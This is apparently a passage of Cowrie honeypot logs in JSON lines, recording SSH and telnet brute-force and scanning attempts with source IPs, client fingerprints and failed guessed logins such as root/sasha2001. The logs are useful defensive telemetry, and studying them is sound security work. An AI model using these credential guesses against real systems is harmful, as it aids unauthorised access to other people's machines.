{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:54:39.310329Z","src_ip":"176.65.132.129","session":"8d4b88f059f1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.57","src_port":38130,"dst_ip":"10.17.0.5","dst_port":22,"session":"26d02e87db1b","protocol":"ssh","message":"New connection: 103.176.20.57:38130 (10.17.0.5:22) [session: 26d02e87db1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:54:39.979609Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:54:39.983973Z","src_ip":"103.176.20.57","session":"26d02e87db1b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:54:40.242165Z","src_ip":"103.176.20.57","session":"26d02e87db1b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sasha2001","message":"login attempt [root/sasha2001] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:54:41.016339Z","src_ip":"103.176.20.57","session":"26d02e87db1b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":51622,"dst_ip":"159.203.135.109","dst_port":22,"session":"f7b467949bbd","protocol":"ssh","message":"New connection: 176.65.132.129:51622 (159.203.135.109:22) [session: f7b467949bbd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:54:41.202914Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:54:41.207305Z","src_ip":"176.65.132.129","session":"f7b467949bbd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:54:41.289409Z","src_ip":"176.65.132.129","session":"f7b467949bbd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Aa123456","message":"login attempt [ubuntu/Aa123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:54:41.535854Z","src_ip":"176.65.132.129","session":"f7b467949bbd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"35.187.68.36","src_port":63786,"dst_ip":"10.17.0.5","dst_port":23,"session":"2caeaee36e02","protocol":"telnet","message":"New connection: 35.187.68.36:63786 (10.17.0.5:23) [session: 2caeaee36e02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:54:41.972975Z"}
{"eventid":"cowrie.login.failed","username":"GET / HTTP/1.1","password":"Host: 134.199.244.163:23","message":"login attempt [GET / HTTP/1.1/Host: 134.199.244.163:23] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:54:41.977852Z","src_ip":"35.187.68.36","session":"2caeaee36e02","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36","password":"Accept-Encoding: gzip","message":"login attempt [User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36/Accept-Encoding: gzip] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:54:41.981488Z","src_ip":"35.187.68.36","session":"2caeaee36e02","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.08728599548339844,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:54:42.060193Z","src_ip":"35.187.68.36","session":"2caeaee36e02","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"35.187.68.36","src_port":63794,"dst_ip":"10.17.0.5","dst_port":23,"session":"33d45bed17be","protocol":"telnet","message":"New connection: 35.187.68.36:63794 (10.17.0.5:23) [session: 33d45bed17be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:54:42.134929Z"}
{"eventid":"cowrie.session.closed","duration":0.007330894470214844,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:54:42.142132Z","src_ip":"35.187.68.36","session":"33d45bed17be","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":28.019606828689575,"message":"Connection lost after 28 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:54:42.241407Z","src_ip":"152.42.224.71","session":"532262449c0e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:54:42.281265Z","src_ip":"103.176.20.57","session":"26d02e87db1b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"35.187.68.36","src_port":63804,"dst_ip":"10.17.0.5","dst_port":23,"session":"5646af8d5f18","protocol":"telnet","message":"New connection: 35.187.68.36:63804 (10.17.0.5:23) [session: 5646af8d5f18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:54:42.291974Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.187.68.36","src_port":63818,"dst_ip":"10.17.0.5","dst_port":23,"session":"6cb09d2cf2e0","protocol":"telnet","message":"New connection: 35.187.68.36:63818 (10.17.0.5:23) [session: 6cb09d2cf2e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:54:42.446999Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.187.68.36","src_port":63832,"dst_ip":"10.17.0.5","dst_port":23,"session":"731cd5e6dedc","protocol":"telnet","message":"New connection: 35.187.68.36:63832 (10.17.0.5:23) [session: 731cd5e6dedc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:54:42.601305Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:54:42.619957Z","src_ip":"176.65.132.129","session":"f7b467949bbd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"35.187.68.36","src_port":63844,"dst_ip":"10.17.0.5","dst_port":23,"session":"1c267e7a4556","protocol":"telnet","message":"New connection: 35.187.68.36:63844 (10.17.0.5:23) [session: 1c267e7a4556]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:54:42.755742Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.187.68.36","src_port":63858,"dst_ip":"10.17.0.5","dst_port":23,"session":"34ae3045a37c","protocol":"telnet","message":"New connection: 35.187.68.36:63858 (10.17.0.5:23) [session: 34ae3045a37c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:54:42.911409Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.187.68.36","src_port":63860,"dst_ip":"10.17.0.5","dst_port":23,"session":"bde3a0f79813","protocol":"telnet","message":"New connection: 35.187.68.36:63860 (10.17.0.5:23) [session: bde3a0f79813]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:54:43.066643Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.187.68.36","src_port":63872,"dst_ip":"10.17.0.5","dst_port":23,"session":"d3a3628bb16a","protocol":"telnet","message":"New connection: 35.187.68.36:63872 (10.17.0.5:23) [session: d3a3628bb16a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:54:43.224216Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.187.68.36","src_port":63876,"dst_ip":"10.17.0.5","dst_port":23,"session":"be177392d70c","protocol":"telnet","message":"New connection: 35.187.68.36:63876 (10.17.0.5:23) [session: be177392d70c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:54:43.379439Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.187.68.36","src_port":63890,"dst_ip":"10.17.0.5","dst_port":23,"session":"476784ed0cb7","protocol":"telnet","message":"New connection: 35.187.68.36:63890 (10.17.0.5:23) [session: 476784ed0cb7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:54:43.609079Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.187.68.36","src_port":63900,"dst_ip":"10.17.0.5","dst_port":23,"session":"0fc6c1abf43b","protocol":"telnet","message":"New connection: 35.187.68.36:63900 (10.17.0.5:23) [session: 0fc6c1abf43b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:54:43.764348Z"}
{"eventid":"cowrie.session.closed","duration":0.0056192874908447266,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:54:43.769829Z","src_ip":"35.187.68.36","session":"0fc6c1abf43b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"35.187.68.36","src_port":63906,"dst_ip":"10.17.0.5","dst_port":23,"session":"5a3ba452bb7e","protocol":"telnet","message":"New connection: 35.187.68.36:63906 (10.17.0.5:23) [session: 5a3ba452bb7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:54:43.919797Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.187.68.36","src_port":63918,"dst_ip":"10.17.0.5","dst_port":23,"session":"d6a9a924a719","protocol":"telnet","message":"New connection: 35.187.68.36:63918 (10.17.0.5:23) [session: d6a9a924a719]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:54:44.074982Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.187.68.36","src_port":63930,"dst_ip":"10.17.0.5","dst_port":23,"session":"8fea8571f604","protocol":"telnet","message":"New connection: 35.187.68.36:63930 (10.17.0.5:23) [session: 8fea8571f604]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:54:44.230374Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.187.68.36","src_port":63940,"dst_ip":"10.17.0.5","dst_port":23,"session":"fb52eb93aa2d","protocol":"telnet","message":"New connection: 35.187.68.36:63940 (10.17.0.5:23) [session: fb52eb93aa2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:54:44.383820Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":51628,"dst_ip":"159.203.135.109","dst_port":22,"session":"4d591393f91a","protocol":"ssh","message":"New connection: 176.65.132.129:51628 (159.203.135.109:22) [session: 4d591393f91a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:54:44.452049Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:54:44.459948Z","src_ip":"176.65.132.129","session":"4d591393f91a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"35.187.68.36","src_port":63956,"dst_ip":"10.17.0.5","dst_port":23,"session":"305fbcaba12d","protocol":"telnet","message":"New connection: 35.187.68.36:63956 (10.17.0.5:23) [session: 305fbcaba12d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:54:44.538709Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:54:44.543586Z","src_ip":"176.65.132.129","session":"4d591393f91a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"35.187.68.36","src_port":30346,"dst_ip":"10.17.0.5","dst_port":23,"session":"2a9ab7612494","protocol":"telnet","message":"New connection: 35.187.68.36:30346 (10.17.0.5:23) [session: 2a9ab7612494]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:54:44.699445Z"}
{"eventid":"cowrie.login.failed","username":"user","password":"user@1234","message":"login attempt [user/user@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:54:44.790447Z","src_ip":"176.65.132.129","session":"4d591393f91a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"35.187.68.36","src_port":30350,"dst_ip":"10.17.0.5","dst_port":23,"session":"ca6b9d0cb614","protocol":"telnet","message":"New connection: 35.187.68.36:30350 (10.17.0.5:23) [session: ca6b9d0cb614]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:54:44.856060Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.187.68.36","src_port":30362,"dst_ip":"10.17.0.5","dst_port":23,"session":"2520a5b17081","protocol":"telnet","message":"New connection: 35.187.68.36:30362 (10.17.0.5:23) [session: 2520a5b17081]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:54:45.011567Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.187.68.36","src_port":30378,"dst_ip":"10.17.0.5","dst_port":23,"session":"3f8aa271cda9","protocol":"telnet","message":"New connection: 35.187.68.36:30378 (10.17.0.5:23) [session: 3f8aa271cda9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:54:45.172288Z"}
{"eventid":"cowrie.login.failed","username":"*1","password":"$4","message":"login attempt [*1/$4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:54:45.177853Z","src_ip":"35.187.68.36","session":"3f8aa271cda9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"35.187.68.36","src_port":30382,"dst_ip":"10.17.0.5","dst_port":23,"session":"a655864fb8c4","protocol":"telnet","message":"New connection: 35.187.68.36:30382 (10.17.0.5:23) [session: a655864fb8c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:54:45.336528Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.187.68.36","src_port":30388,"dst_ip":"10.17.0.5","dst_port":23,"session":"f0f3d3e10453","protocol":"telnet","message":"New connection: 35.187.68.36:30388 (10.17.0.5:23) [session: f0f3d3e10453]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:54:45.493096Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.187.68.36","src_port":30392,"dst_ip":"10.17.0.5","dst_port":23,"session":"0ab3add263d7","protocol":"telnet","message":"New connection: 35.187.68.36:30392 (10.17.0.5:23) [session: 0ab3add263d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:54:45.649482Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.187.68.36","src_port":30402,"dst_ip":"10.17.0.5","dst_port":23,"session":"760c6599080f","protocol":"telnet","message":"New connection: 35.187.68.36:30402 (10.17.0.5:23) [session: 760c6599080f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:54:45.805931Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:54:45.875901Z","src_ip":"176.65.132.129","session":"4d591393f91a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"35.187.68.36","src_port":30416,"dst_ip":"10.17.0.5","dst_port":23,"session":"eeff3bf9ebef","protocol":"telnet","message":"New connection: 35.187.68.36:30416 (10.17.0.5:23) [session: eeff3bf9ebef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:54:45.962000Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42168,"dst_ip":"10.17.0.5","dst_port":23,"session":"e073fe913acb","protocol":"telnet","message":"New connection: 152.42.224.71:42168 (10.17.0.5:23) [session: e073fe913acb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:54:46.016702Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.187.68.36","src_port":30430,"dst_ip":"10.17.0.5","dst_port":23,"session":"9a5cbc993855","protocol":"telnet","message":"New connection: 35.187.68.36:30430 (10.17.0.5:23) [session: 9a5cbc993855]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:54:46.117158Z"}
{"eventid":"cowrie.session.closed","duration":0.005129337310791016,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:54:46.122182Z","src_ip":"35.187.68.36","session":"9a5cbc993855","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"35.187.68.36","src_port":30438,"dst_ip":"10.17.0.5","dst_port":23,"session":"cc965645af98","protocol":"telnet","message":"New connection: 35.187.68.36:30438 (10.17.0.5:23) [session: cc965645af98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:54:46.272578Z"}
{"eventid":"cowrie.session.connect","src_ip":"35.187.68.36","src_port":30446,"dst_ip":"10.17.0.5","dst_port":23,"session":"7981d77aa1bc","protocol":"telnet","message":"New connection: 35.187.68.36:30446 (10.17.0.5:23) [session: 7981d77aa1bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:54:46.433210Z"}
{"eventid":"cowrie.login.failed","username":"OPTIONS rtsp://example.com RTSP/1.0","password":"Cseq: 8922","message":"login attempt [OPTIONS rtsp://example.com RTSP/1.0/Cseq: 8922] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:54:46.438439Z","src_ip":"35.187.68.36","session":"7981d77aa1bc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"35.187.68.36","src_port":30448,"dst_ip":"10.17.0.5","dst_port":23,"session":"98ee95091d8a","protocol":"telnet","message":"New connection: 35.187.68.36:30448 (10.17.0.5:23) [session: 98ee95091d8a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:54:46.593412Z"}
{"eventid":"cowrie.session.closed","duration":0.004207611083984375,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:54:46.597478Z","src_ip":"35.187.68.36","session":"98ee95091d8a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":43348,"dst_ip":"159.203.135.109","dst_port":22,"session":"4fb732fe9fe5","protocol":"ssh","message":"New connection: 176.65.132.129:43348 (159.203.135.109:22) [session: 4fb732fe9fe5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:54:47.715012Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:54:47.758583Z","src_ip":"176.65.132.129","session":"4fb732fe9fe5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 